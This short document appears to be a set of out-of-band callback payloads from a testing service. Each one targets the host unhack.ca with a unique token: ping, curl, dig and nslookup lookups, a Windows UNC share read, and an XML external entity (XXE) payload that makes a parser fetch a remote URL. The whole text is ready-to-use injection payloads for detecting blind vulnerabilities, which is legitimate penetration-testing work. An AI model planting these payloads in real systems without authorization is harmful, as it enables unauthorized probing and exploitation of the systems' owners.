$ ping -c1 -p 0083ea6db8c53e5de220ed8fe6223a00 unhack.ca
 

$ curl http://unhack.ca/p/83ea6db8c53e5de220ed8fe6223a
 

$ dig 83ea6db8c53e5de220ed8fe6223a @unhack.ca
 

$ dig 83ea6db8c53e5de220ed8fe6223a.ns.unhack.ca
 

C:\> nslookup 83ea6db8c53e5de220ed8fe6223a unhack.ca
 

C:\> type \\unhack.ca\83ea6db8c53e5de220ed8fe6223a\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/83ea6db8c53e5de220ed8fe6223a">]>
    <foo>&xxe;</foo>